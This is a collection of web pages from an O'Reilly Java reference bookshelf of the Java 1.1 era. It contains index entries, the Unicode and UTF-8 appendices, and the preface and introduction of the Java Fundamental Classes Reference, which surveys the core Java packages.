Accessing Members
Basic Access Modifiers
classes and : Class Visibility
private
Safety of Implementation
The paint( ) Method
Our Color Methods
Subclassing and Inheritance
Glossary
protected : Glossary
public
The paint( ) Method
The Java Compiler
Glossary
subclasses and : Subclasses and Visibility
Visual BASIC : Safety of Implementation
void (type) : Expressions
vspace attribute (<applet> tag) : The Complete Applet Tag

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

W

wait( )
wait( ) and notify( )
Pipes
Web browsers : Web Browsers and Handlers
HotJava
New Kinds of Applications
Applets and Files
Web Browsers and Handlers
Glossary
Netscape Navigator
Applets and Files
Web Browsers and Handlers
responding to unknown tags
Hablo Applet?
The Complete Applet Tag
whitespace
trim( ) : Editing
as word delimiter : java.util.StringTokenizer
WIDTH (variable) : Implementing an ImageObserver
width attribute (<applet> tag)
Attributes
The Complete Applet Tag
Wksh scripting language : Java Compared
words, parsing strings into : java.util.StringTokenizer
working directory, user : System Properties
World Wide Web (WWW) (see Web browsers) : Java and the World Wide Web
browsers (see Web browsers)
wrappers
classes for : Primitive Types
for primitive types : Wrappers for Primitive Types
stream : Stream Wrappers
writability, checking for : File methods
write( ) : Pipes
data buffer with : Buffered streams
Writer (class) : Streams
writeUTF( ) : Data streams

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

X

XOR (^) operator, bitwise : Operators
XOR (^) operator, boolean : Operators

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Y

yield( ) : Yielding

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Z

ZIP files
The Class Path
The application/x-tar Handler

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | R | S | T | U | V | W | X | Y | Z

Copyright © 1996 O'Reilly & Associates, Inc. All Rights Reserved.


[Appendix A] The Unicode 2.0 Character Set

Java Fundamental Classes Reference

Previous Appendix A Next

A. The Unicode 2.0 Character Set

Characters | Description
\u0000 - \u1FFF | Alphabets
\u0020 - \u007F | Basic Latin
\u0080 - \u00FF | Latin-1 supplement
\u0100 - \u017F | Latin extended-A
\u0180 - \u024F | Latin extended-B
\u0250 - \u02AF | IPA extensions
\u02B0 - \u02FF | Spacing modifier letters
\u0300 - \u036F | Combining diacritical marks
\u0370 - \u03FF | Greek
\u0400 - \u04FF | Cyrillic
\u0530 - \u058F | Armenian
\u0590 - \u05FF | Hebrew
\u0600 - \u06FF | Arabic
\u0900 - \u097F | Devanagari
\u0980 - \u09FF | Bengali
\u0A00 - \u0A7F | Gurmukhi
\u0A80 - \u0AFF | Gujarati
\u0B00 - \u0B7F | Oriya
\u0B80 - \u0BFF | Tamil
\u0C00 - \u0C7F | Telugu
\u0C80 - \u0CFF | Kannada
\u0D00 - \u0D7F | Malayalam
\u0E00 - \u0E7F | Thai
\u0E80 - \u0EFF | Lao
\u0F00 - \u0FBF | Tibetan
\u10A0 - \u10FF | Georgian
\u1100 - \u11FF | Hangul Jamo
\u1E00 - \u1EFF | Latin extended additional
\u1F00 - \u1FFF | Greek extended
\u2000 - \u2FFF | Symbols and punctuation
\u2000 - \u206F | General punctuation
\u2070 - \u209F | Superscripts and subscripts
\u20A0 - \u20CF | Currency symbols
\u20D0 - \u20FF | Combining diacritical marks for symbols
\u2100 - \u214F | Letterlike symbols
\u2150 - \u218F | Number forms
\u2190 - \u21FF | Arrows
\u2200 - \u22FF | Mathematical operators
\u2300 - \u23FF | Miscellaneous technical
\u2400 - \u243F | Control pictures
\u2440 - \u245F | Optical character recognition
\u2460 - \u24FF | Enclosed alphanumerics
\u2500 - \u257F | Box drawing
\u2580 - \u259F | Block elements
\u25A0 - \u25FF | Geometric shapes
\u2600 - \u26FF | Miscellaneous symbols
\u2700 - \u27BF | Dingbats
\u3000 - \u33FF | CJK auxiliary
\u3000 - \u303F | CJK symbols and punctuation
\u3040 - \u309F | Hiragana
\u30A0 - \u30FF | Katakana
\u3100 - \u312F | Bopomofo
\u3130 - \u318F | Hangul compatibility Jamo
\u3190 - \u319F | Kanbun
\u3200 - \u32FF | Enclosed CJK letters and months
\u3300 - \u33FF | CJK compatibility
\u4E00 - \u9FFF | CJK unified ideographs: Han characters used in China, Japan, Korea, Taiwan, and Vietnam
\uAC00 - \uD7A3 | Hangul syllables
\uD800 - \uDFFF | Surrogates
\uD800 - \uDB7F | High surrogates
\uDB80 - \uDBFF | High private use surrogates
\uDC00 - \uDFFF | Low surrogates
\uE000 - \uF8FF | Private use
\uF900 - \uFFFF | Miscellaneous
\uF900 - \uFAFF | CJK compatibility ideographs
\uFB00 - \uFB4F | Alphabetic presentation forms
\uFB50 - \uFDFF | Arabic presentation forms-A
\uFE20 - \uFE2F | Combing half marks
\uFE30 - \uFE4F | CJK compatibility forms
\uFE50 - \uFE6F | Small form variants
\uFE70 - \uFEFE | Arabic presentation forms-B
\uFEFF | Specials
\uFF00 - \uFFEF | Halfwidth and fullwidth forms
\uFFF0 - \uFFFF | Specials

Previous | Home | Next
ZipOutputStream | Book Index | The UTF-8 Encoding
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Appendix B] The UTF-8 Encoding

Java Fundamental Classes Reference

Previous Appendix B

B. The UTF-8 Encoding

Internally, Java always represents Unicode characters with 16 bits. However, this is an inefficient use of bits when most of the characters being used only need eight bits or less to be represented, which is the case for text written in English and a number of other languages. The UTF-8 encoding provides a more compact way of representing sequences of Unicode when most of the characters are 7-bit ASCII characters. Therefore, UTF-8 is often a more efficient way of storing or transmitting text than using 16 bits for every character.

The UTF-8 encoding is a variable-width encoding of Unicode characters. Seven-bit ASCII characters (\u0000-\u007F) are represented in one byte, so they remain untouched by the encoding (i.e., a string of ASCII characters is a legal UTF-8 string). Characters in the range \u0080-\u07FF are represented in two bytes, and characters in the range \u0800-\uFFFF are represented in three bytes. Java actually uses a slightly modified version of UTF-8, since it encodes \u0000 using two bytes. The advantage of this approach is that a UTF-8 encoded string never contains a null character.

Java provides support for reading characters in the UTF-8 encoding with the readUTF() methods in RandomAccessFile, DataInputStream, and ObjectInputStream . The writeUTF() methods in RandomAccessFile, DataOutputStream, and ObjectOutputStream handle writing characters in the UTF-8 encoding.

The UTF-8 encoding begins with an unsigned 16-bit quantity that indicates the number of bytes of data that follow. This length value is in the format read by the readUnsignedShort() methods the above input classes and written by the writeUnsignedShort() methods in the above output classes.

The rest of the bytes are variable-length characters. A 1-byte character always has its high-order bit set to 0. A 2-byte character always begins with the high-order bits 110, while a 3-byte character starts with the high-order bits 1110. The second and third bytes of 2- and 3-byte characters always have their high-order bits set to 10, which makes them easy to distinguish from 1-byte characters and the initial bytes of 2- and 3-byte characters. This encoding scheme leaves room for seven bits of data in 1-byte characters, 11 bits of data in 2-byte characters, and 16 bits of data in 3-byte characters.

The table below summarizes the UTF-8 encoding:

Bytes in | Minimum | Maximum | # of | Binary Byte Sequence
Character | Character | Character | Data Bits | (x = data bit)
1 | \u0000 | \u007F | 7 | 0xxxxxxx
2 | \u0080 | \u07FF | 11 | 110xxxxx 10xxxxxx
3 | \u0800 | \uFFFF | 16 | 1110xxxx 10xxxxxx 10xxxxxx

Previous | Home
The Unicode 2.0 Character Set | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


Preface

Contents:
What This Book Covers
Organization
Related Books
Online Resources
Conventions Used in This Book
Request for Comments
Acknowledgments

This book is a reference manual for the fundamental classes in the Java programming environment; it covers version 1.1 of the Java API. We've defined fundamental classes to mean those classes in the Java Development Kit (JDK) that every Java programmer is likely to need, minus the classes that comprise the Abstract Window Toolkit (AWT). (The classes in the AWT are covered by a companion volume, the Java AWT Reference, from O'Reilly & Associates.) Thus, this book covers the classes in the java.lang and java.io packages, among others, and is essential for the practicing Java programmer.

This is an exciting time in the development of Java. Version 1.1 introduces a massive amount of infrastructure that more than doubles the size of the core Java APIs. This new infrastructure provides many new facilities, such as:

  • Java is now more dynamic. An expanded Class class, in conjunction with the new java.lang.reflect package, allows objects to access methods and variables of objects that they were not compiled with.

  • There are classes in java.io that build on the new dynamic capabilities to provide the ability to read and write objects as streams of bytes.

  • There is increased support for internationalization. The support includes a Locale class and classes to format and parse data in locale-specific ways. There is also support for loading external locale-specific resources, such as textual strings.

  • The java.util.zip package provides the ability to read and write compressed files.

  • The java.math package provides the ability to perform arithmetic operations to any degree of precision that is necessary.

There are also more ways to package and distribute Java programs. In addition to being able to build command-line based applications and applets that are hosted by browsers, we now have the Java Servelet API that allows Java programs to function as part of a web server. Furthermore, the nature of applets may be changing. Instead of waiting for large applet to be downloaded by a browser, we now have push technologies such as Marimba's Castanet that ensure that the most current version of an applet is already on our machine when we want to run it.

Many new uses for Java have appeared or are on the horizon. For example, NASA is using Java applets to monitor telemetry data, instead of building more large, dedicated hardware consoles. Cellular phone manufacturers have committed to making cellular phone models that support Java, so in the future we may see Java programs that run on cellular phones and allow us to check e-mail or view location maps. Many additional APIs are also on the way, from Sun and other companies. These APIs not only supply infrastructure, but also provide frameworks for building domain-specific applications, in such areas as electronic commerce and manufacturing.

This book is about the classes that provide the most fundamental infrastructure for Java. As you use this book, we hope that you will share our enthusiasm for the richness of what is provided and the anticipation of what is yet to come.

What This Book Covers

The Java Fundamental Classes Reference is the definitive resource for programmers working with the core, non-AWT classes in Java. It covers all aspects of these fundamental classes as of version 1.1.1 of Java. If there are any changes to these classes after 1.1.1 (at least one more patch release is expected), we will integrate them as soon as possible. Watch the book's web site, http://www.ora.com/catalog/javafund/, for details on changes.

Specifically, this book completely covers the following packages:

  • java.io (1.0 and 1.1)

  • java.lang (1.0 and 1.1)

  • java.lang.reflect (new in 1.1)

  • java.math (new in 1.1)

  • java.net (1.0 and 1.1)

  • java.text (new in 1.1)

  • java.util (1.0 and 1.1)

  • java.util.zip (new in 1.1)

As you can see from the list above, this book covers four packages that are completely new in Java 1.1. In addition, it includes material on all of the new features in the four original 1.0 packages. Here are the highlights of what is new in Java 1.1:

java.lang

This package contains the new Byte, Short, and Void classes that are needed for the new Reflection API. The Class class also defines a number of new methods for the Reflection API. Chapter 12, The java.lang Package, contains reference material on all of the classes in the java.lang package.

java.io

This package contains a number of new classes, mostly for object serialization and character streams. Chapter 11, The java.io Package, contains reference material on all of the classes in the java.io package.

java.net

This package contains a new MulticastSocket class that supports multicast sockets and several new exception types for more detailed networking exceptions. Chapter 15, The java.net Package, contains reference material on all of the classes in the java.net package.

java.util

This package includes a handful of new classes for internationalization, such as Locale and ResourceBundle. The package also defines the base classes that support the new AWT event model. The new Calendar and TimeZone classes provide increased support for working with dates and times. Chapter 17, The java.util Package, contains reference material on all of the classes in the java.util package.

java.lang.reflect

This new package defines classes that implement the bulk of the new Reflection API. The classes in the package represent the fields, methods, and constructors of a class. Chapter 13, The java.lang.reflect Package, contains reference material on all of the classes in the java.lang.reflect package.

java.math

This new package includes two classes that support arithmetic: one with arbitrarily large integers and another with arbitrary-precision floating-point numbers. Chapter 14, The java.math Package, contains reference material on all of the classes in the java.math package.

java.text

This new package contains the majority of the classes that implement the internationalization capabilities of Java 1.1. It includes classes for formatting dates, times, numbers, and textual messages for any specified locale. Chapter 16, The java.text Package, contains reference material on all of the classes in the java.text package.

java.util.zip

This new package defines classes that support general-purpose data compression and decompression using the ZLIB compression algorithms, as well as classes that work with the popular GZIP and ZIP formats. Chapter 18, The java.util.zip Package, contains reference material on all of the classes in the java.util.zip package.

Home | Next
Book Index | Organization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Organization

Java Fundamental Classes Reference

Previous Preface Next

Organization

The Java Fundamental Classes Reference is divided into two parts. The first part is a brief guide to using many of the features provided by the fundamental classes in Java. This book is not meant to be read from cover to cover, but these chapters can be read in order to learn about some of the basic functionality of the Java API. These tutorial-style chapters provide short examples where appropriate, to illustrate the use of various features. However, this section is by no means a comprehensive tutorial on the fundamental classes.

The second part is the meat of the book. It contains a set of documentation pages typical of what you find in most reference sets. It is organized alphabetically by package, and within each package, alphabetically by class. The reference page for a class tells you everything you need to know about using that class. It provides a detailed description of the class as a whole, followed by a complete description of every variable, constructor, and method defined by the class.

The beginning of each reference page also gives you a synopsis of the class, including information about its availability (i.e., whether the class is available in Java 1.0 or is new in Java 1.1). All new variables, constructors, and methods in Java 1.1 are also clearly marked, so that you can use the reference pages for programming with either Java 1.0.2 or Java 1.1.

Previous | Home | Next
What This Book Covers | Book Index | Related Books
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Related Books

Java Fundamental Classes Reference

Previous Preface Next

Related Books

O'Reilly & Associates is developing an entire series of books on Java. This series consists of introductory books, reference manuals, and advanced programming guides.

The following books on Java are currently available or due to be released soon from O'Reilly & Associates:

Exploring Java, by Patrick Niemeyer and Joshua Peck

A comprehensive tutorial that provides a practical, hands-on approach to learning Java.

Java Language Reference, by Mark Grand

A complete reference for the Java programming language itself.

Java AWT Reference, by John Zukowski

A comprehensive reference manual for the AWT-related packages in the core Java API.

Java Virtual Machine, by Jon Meyer and Troy Downing

A programming guide and reference manual for the Java virtual machine.

Java in a Nutshell, by David Flanagan

A quick-reference guide to Java which lists all of the classes, methods, and variables in the core Java API.

Java Threads, by Scott Oaks and Henry Wong

An advanced programming guide to working with threads in Java.

Java Network Programming, by Elliotte Rusty Harold

A complete guide to writing sophisticated network applications.

Database Programming with JDBC and Java, by George Reese

An advanced tutorial on JDBC that presents a robust model for developing Java database programs.

Developing Java Beans, by Robert Englander

A complete guide to writing components that work with the JavaBeans API.

Look for additional advanced programming guides on such topics as distributed computing and electronic commerce from O'Reilly in the near future.

Previous | Home | Next
Organization | Book Index | Online Resources
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Online Resources

Java Fundamental Classes Reference

Previous Preface Next

Online Resources

There are many sources for information about Java. Sun Microsystems' official web site for Java topics is http://www.javasoft.com/. You should look here for the latest news, updates, and Java releases. This site is where you'll find the Java Development Kit ( JDK), which includes the compiler, the interpreter, and all of the classes in the Java API.

The various comp.lang.java.* newsgroups can be a good source of information about Java. The comp.lang.java.announce newsgroup is for announcements that may be of interest to Java developers. The comp.lang.java.api newsgroup is for discussion of the Java application programming interface; it's also a good place to ask intelligent questions. There are a number of other Java newsgroups for various kinds of specialized discussions. You should read the FAQ to find out more. The FAQ is maintained on the Web at http://sunsite.unc.edu/javafaq/javafaq.html.

Another large source of Java-related resources and Java code is http://www.gamelan.com/, also known as http://java.developer.com/.

You should also visit O'Reilly & Associates' Java site at http://www.ora.com/ publishing/java. There you'll find information about other books in O'Reilly's Java series.

Previous | Home | Next
Related Books | Book Index | Conventions Used in This Book
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Conventions Used in This Book

Java Fundamental Classes Reference

Previous Preface Next

Conventions Used in This Book

Italic is used for:

  • New terms where they are defined.

  • Pathnames, filenames, and program names.

  • Internet addresses, such as domain names and URLs.

Typewriter Font is used for:

  • Anything that might appear in a Java program, including keywords, operators, data types, constants, method names, variable names, class names, and interface names.

  • Command lines and options that should be typed verbatim on the screen.

  • Tags that might appear in an HTML document.

Previous | Home | Next
Online Resources | Book Index | Request for Comments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Request for Comments

Java Fundamental Classes Reference

Previous Preface Next

Request for Comments

We invite you to help us improve our books. If you have an idea that could make this a more useful language reference, or if you find a bug in an example or an error in the text, let us know by sending mail to bookquestions@ora.com.

As Java continues to evolve, we may find it necessary to issue errata for this book or to release updated examples or reference information. This information will be found on the book's web site, http://www.ora.com/catalog/javafund/.

Previous | Home | Next
Conventions Used in This Book | Book Index | Acknowledgments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Acknowledgments

Java Fundamental Classes Reference

Previous Preface Next

Acknowledgments

Mark would like to acknowledge the patience, love, and support that his wonderful wife Ginni provided during the long months he spent writing this book. I also want to thank my daughters Rachel and Shana for their understanding when they had to compete with this book for my attention. I also want to thank Mike Loukides and Andy Cohen for their valuable suggestions on the content of this book. I particularly want to thank Paula Ferguson, who spent many long hours above and beyond the call of duty poring over the details of this book to edit it into its final form.

Jonathan sends many thanks to Kristen, who helps him reach for his dreams and does a lot of proofreading, too. To Daphne, thanks for reminding me every day exactly how great it is to work at home. To my cats, Asher and Basteet, thanks for attending my meetings and helping me type. Thanks also to Paula Ferguson for her unflagging attention to detail.

The class hierarchy diagrams in this book were borrowed from David Flanagan's book, Java in a Nutshell. These diagrams were based on similar diagrams for Java 1.1 by Charles L. Perkins.

Finally, a big round of applause to the design and production staff at O'Reilly & Associates for putting out this tome on a very tight schedule. Mary Anne Weeks Mayo was the production manager. Quality was assured through the services of Ellie Fountain Maden and Sheryl Avruch. Seth Maislin wrote the index. Erik Ray, Ellen Siever, and Lenny Muellner contributed their tool-tweaking prowess. Chris Reilley was responsible for illustrations, Nancy Priest for the interior design, Hanna Dyer created the back cover, and Edie Freedman designed the front cover.

Previous | Home | Next
Request for Comments | Book Index | Introduction
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] Introduction

Java Fundamental Classes Reference

Previous Chapter 1 Next

1. Introduction

Contents:
The java.lang Package
The java.lang.reflect Package
The java.io Package
The java.net Package
The java.util Package
The java.text Package
The java.math Package
The java.util.zip Package

The phenomenon that is Java continues to capture new supporters every day. What began as a programming environment for writing fancy animation applets that could be embedded in web browsers is growing up to be a sophisticated platform for delivering all kinds of portable, distributed applications. If you are already an experienced Java programmer, you know just how powerful the portability of Java is. If you are just now discovering Java, you'll be happy to know that the days of porting applications are over. Once you write a Java application, it can run on UNIX workstations, PCs, and Macintosh computers, as well as on many other supported platforms.

This book is a complete programmer's reference to the "fundamental classes" in the Java programming environment. The fundamental classes in the Java Development Kit (JDK) provide a powerful set of tools for creating portable applications; they are an important component of the toolbox used by every Java programmer. This reference covers the classes in the java.lang, java.io, java.net, java.util, java.lang.reflect, java.math, java.text, and java.util.zip packages. This chapter offers an overview of the fundamental classes in each of these packages.

This reference assumes you are already familiar with the Java language and class libraries. If you aren't, Exploring Java, by Pat Niemeyer and Josh Peck, provides a general introduction, and other books in the O'Reilly Java series provide detailed references and tutorials on specific topics. Note that the material herein does not cover the classes that comprise the Abstract Window Toolkit (AWT): the AWT is covered by a companion volume, the Java AWT Reference, by John Zukowski. In addition, this book does not cover any of the new "enterprise" APIs in the core 1.1 JDK, such as the classes in the java.rmi, java.sql, and java.security packages. These packages will be covered by forthcoming books on distributed computing and database programming. See the Preface for a complete list of titles in the O'Reilly Java series.

You should be aware that this book covers two versions of Java: 1.0.2 and 1.1. Version 1.1 of the Java Development Kit (JDK) was released in February 1997. This release includes many improvements and additions to the fundamental Java classes; it represents a major step forward in the evolution of Java. Although Java 1.1 has a number of great new features, you may not want to switch to the new version right away, especially if you are writing mostly Java applets. You'll need to keep an eye on the state of Java support in browsers to help you decide when to switch to Java 1.1. Of course, if you are writing Java applications, you can take the plunge today.

This chapter points out new features of Java 1.1 as they come up. However, there is one "feature" that deserves mention that doesn't fit naturally into an overview. As of Java 1.1, classes, methods, and constructors available in Java 1.0.2 can be deprecated in favor of new classes, methods, and constructors in Java 1.1. The Java 1.1 compiler issues a warning whenever you use a deprecated entity.

1.1 The java.lang Package

The java.lang package contains classes and interfaces essential to the Java language. For example, the Object class is the ultimate superclass of all other classes in Java. Object defines some basic methods for thread synchronization that are inherited by all Java classes. In addition, Object defines basic methods for equality testing, hashcode generation, and string conversion that can be overridden by subclasses when appropriate.

The java.lang package also contains the Thread class, which controls the operation of each thread in a multithreaded application. A Thread object can be used to start, stop, and suspend a thread. A Thread must be associated with an object that implements the Runnable interface; the run() method of this interface specifies what the thread actually does. See Chapter 3, Threads, for a more detailed explanation of how threads work in Java.

The Throwable class is the superclass of all error and exception classes in Java, so it defines the basic functionality of all such classes. The java.lang package also defines the standard error and exception classes in Java. The error and exception hierarchies are rooted at the Error and Exception subclasses of Throwable. See Chapter 4, Exception Handling, for more information about the exception-handling mechanism.

The Boolean, Character, Byte, Double, Float, Integer, Long, and Short classes encapsulate the Java primitive data types. Byte and Short are new in Java 1.1, as is the Void class. All of these classes are necessary to support the new Reflection API and class literals in Java 1.1 The Class class also has a number of new methods in Java 1.1 to support reflection.

All strings in Java are represented by String objects. These objects are immutable. The StringBuffer class in java.lang can be used to work with mutable text strings. Chapter 2, Strings and Related Classes, offers a more detailed description of working with strings in Java.

See Chapter 12, The java.lang Package, for complete reference material on all of the classes in the java.lang package.

Previous | Home | Next
Acknowledgments | Book Index | The java.lang.reflect Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.2 The java.lang.reflect Package

Java Fundamental Classes Reference

Previous Chapter 1
Introduction 		Next

1.2 The java.lang.reflect Package

The java.lang.reflect package is new in Java 1.1. It contains classes and interfaces that support the new Reflection API. Reflection refers to the ability of a class to reflect upon itself, or look inside of itself, to see what it can do. The new JavaBeans API depends upon the Reflection API, as does the object-serialization functionality in Java 1.1.

The Reflection API makes it possible to discover the variables, methods, and constructors of any class and manipulate those members as appropriate. For example, you can use a Method object to call a particular method in an object, even if your code was not compiled with any information about the class that contains that method. The java.lang.reflect package also defines an Array class that can be used to manipulate arbitrary arrays.

All of the classes in java.lang.reflect work in conjunction with the Class class in the java.lang package.

See Chapter 13, The java.lang.reflect Package, for complete reference material on all of the classes in the java.lang.reflect package.

Previous | Home | Next
The java.lang Package | Book Index | The java.io Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.3 The java.io Package

Java Fundamental Classes Reference

Previous Chapter 1
Introduction 		Next

1.3 The java.io Package

The java.io package contains the classes that handle fundamental input and output operations in Java. Almost all fundamental I/O in Java is based on streams. A stream represents a flow of data, or a channel of communication, with a reading process at one end of the stream and a writing process at the other end, at least conceptually. As of Java 1.1, the java.io package is the largest of the fundamental packages. See Chapter 6, I/O, for a more in-depth description of the basic I/O capabilities provided by this package.

Java 1.0 supports only byte streams. The InputStream class is the superclass of all of the Java 1.0 byte input streams, while OutputStream is the superclass of all the byte output streams. A number of other byte stream classes extend the functionality of these basic streams. For example, the FileInputStream and FileOutputStream classes read from and write to files, respectively, while DataInputStream and DataOutputStream read and write binary representations of the primitive Java data types. The main problem with these byte streams is that they do not handle the conversion between the Unicode character set used internally by Java and other character sets used when reading or writing data.

As of Java 1.1, java.io contains classes that represent character streams. These character stream classes convert other character encodings that appear in I/O streams to and from Unicode characters. The Reader class is the superclass of all the Java 1.1 character input streams, while Writer is the superclass of all character output streams. Many of the reader and writer classes have analogous behavior to corresponding byte stream classes. For instance, FileReader and FileWriter are character streams that read from and write to files, respectively.

The InputStreamReader and OutputStreamWriter classes provide a bridge between byte streams and character streams. If you wrap an InputStreamReader around an InputStream object, the bytes in the byte stream are read and converted to characters using the character encoding scheme specified by the InputStreamReader. Likewise, you can wrap an OutputStreamWriter around any OutputStream object, which allows you to write characters and have them converted to bytes.

As of Java 1.1, java.io also contains classes to support object serialization. Object serialization is the ability to write the complete state of an object to an output stream, and then later recreate that object by reading in the serialized state from an input stream. The ObjectOutputStream and ObjectInputStream classes handle serializing and deserializing objects, respectively. These classes provide basic serialization capabilities for all objects that implement the Serializable interface. Chapter 7, Object Serialization, provides a more detailed explanation of the new object serialization functionality in Java 1.1.

The RandomAccessFile class is the only class in java.io that does not use a stream for reading or writing data. As its name implies, RandomAccessFile provides nonsequential access to a file, so you can use it to read from or write to specific locations in a file.

The File class represents a file on the local filesystem. The class provides methods to identify a file, both in terms of its path and its filename. There are also methods that retrieve information about a file, such as its status as a directory or a file, its length, and its last modification time.

See Chapter 11, The java.io Package, for complete reference material on all of the classes in the java.io package.

Previous | Home | Next
The java.lang.reflect Package | Book Index | The java.net Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.4 The java.net Package

Java Fundamental Classes Reference

Previous Chapter 1
Introduction 		Next

1.4 The java.net Package

The java.net package contains classes and interfaces that provide a powerful infrastructure for networking in Java. Many of the classes in this package provide support for working with sockets in Java. For example, the Socket and ServerSocket classes make it possible to implement client and server programs that communicate using a reliable, connection-oriented protocol. The DatagramSocket, DatagramPacket, and MulticastSocket classes, on the other hand, all provide support for communication over a connectionless protocol. The MulticastSocket class is new in Java 1.1.

The URL and URLConnection classes define methods for working with uniform resource locators (URLs). The URL class supports basic access to data stored at a URL, while URLConnection offers complete control over all aspects of working with a URL.

The InetAddress class represents network addresses, so InetAddress objects are used by a number of the methods in other classes in java.net.

Chapter 8, Networking, offers a short tutorial on using the networking classes provided by the java.net package. See Chapter 15, The java.net Package, for complete reference material on all of the classes in this package.

Previous | Home | Next
The java.io Package | Book Index | The java.util Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.5 The java.util Package

Java Fundamental Classes Reference

Previous Chapter 1
Introduction 		Next

1.5 The java.util Package

The java.util package contains a number of useful classes and interfaces that support fundamental data structures and notification-related design patterns. Java depends directly on several of the classes in this package, and you may find many of these indispensable.

A number of classes in java.util are designed to help you manage a collection of objects. For example, the Vector class supports variable-length arrays of objects, while the Hashtable class can be used to create hashtables, or associative arrays, that contain key/value pairs of objects. In addition, the Enumeration interface defines methods for iterating through a collection of elements. Chapter 5, Collections, provides more detailed information on using these classes effectively in your Java programs.

The StringTokenizer class parses strings into distinct tokens separated by delimiter characters. This class is described in more detail in Chapter 2, Strings and Related Classes.

The java.util package contains a number of new classes in Java 1.1 to support internationalization. Many of these classes work in conjuction with the classes defined in the new java.text package. The most important new class is the Locale class, which represents a particular locale, or country and language, for internationalization purposes. The new Calendar and TimeZone classes interpret the value of a Date object in the context of a particular calendar system; the Date class existed in Java 1.0.2, but many of its methods are deprecated in Java 1.1. Finally, the ResourceBundle class and its subclasses, ListResourceBundle and PropertyResourceBundle, represent sets of localized data in Java 1.1.

Two other new entities in java.util are the EventObject class and the EventListener interface. These items form the basis of the new event model in Java 1.1.

See Chapter 17, The java.util Package, for complete reference material on all of the classes in the java.util package.

Previous | Home | Next
The java.net Package | Book Index | The java.text Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.6 The java.text Package

Java Fundamental Classes Reference

Previous Chapter 1
Introduction 		Next

1.6 The java.text Package

The java.text package is new in Java 1.1. It contains classes that support the parsing and formatting of data. These classes also support the internationalization of Java programs. Internationalization refers to the process of making a program flexible enough to run correctly in any locale. An internationalized program must, however, be localized to enable it to run in a particular locale. The internationalization capabilities in Java are quite significant, especially in this age of the global Internet.

Many of the classes in java.text are meant to handle formatting string representations of dates, times, numbers, and messages based on the conventions of a locale. The Format class is the superclass of all of the classes that generate and parse string representations of various types of data.

The DateFormat class formats and parses dates and times according to the customs and language of a particular locale. By the same token, the NumberFormat class formats and parses numbers, including currency values, in a locale-dependent manner. The MessageFormat class creates a textual message from a pattern string, while ChoiceFormat maps numerical ranges to strings. By themselves, these classes do not provide different results for different locales. However, they can be used in conjunction with ResourceBundle objects from java.util that generate locale-specific pattern strings.

The Collator class handles collating strings according to the rules of a particular locale. Different languages have different characters and different rules for sorting those characters; Collator and its subclass, RuleBasedCollator, are designed to take those differences into account when collating strings. In addition, the CollationKey class optimizes the sorting of a large collection of strings.

The BreakIterator class finds various boundaries, such as word boundaries and line boundaries, in textual data. As you might expect, BreakIterator locates these boundaries according to the rules of a particular locale.

See Chapter 16, The java.text Package, for complete reference material on all of the classes in the java.text package.

Previous | Home | Next
The java.util Package | Book Index | The java.math Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.7 The java.math Package

Java Fundamental Classes Reference

Previous Chapter 1
Introduction 		Next

1.7 The java.math Package

The java.math package is new in Java 1.1. It contains two classes that support arithmetic on arbitrarily large integers and floating-point numbers: BigInteger and BigDecimal. The BigInteger class also defines some methods for handling modular arithmetic and determining primality that are needed for cryptographic purposes. See Chapter 14, The java.math Package, for complete reference material on the two classes in this package.

Previous | Home | Next
The java.text Package | Book Index | The java.util.zip Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.8 The java.util.zip Package

Java Fundamental Classes Reference

Previous Chapter 1
Introduction 		Next

1.8 The java.util.zip Package

The java.util.zip package is new in Java 1.1. It contains classes that provide support for general-purpose data compression and decompression using the ZLIB compression algorithms. The important classes in java.util.zip are those that provide the means to read and write data that is compatible with the popular GZIP and ZIP formats: GZIPInputStream, GZIPOutputStream, ZipInputStream, and ZipOutputStream.

The GZIP and ZIP classes are easy to use because they subclass java.io. FilterInputStream and java.io.FilterOutputStream. While a GZIP file is simply a stream of compressed data, a ZIP file, or archive, can contain multiple compressed files. A ZipEntry object represents each compressed file in the archive. The ZipFile class is provided as a convenience for reading an archive; it allows nonsequential access to the entries in a ZIP file while the ZipInputStream class provides only sequential access.

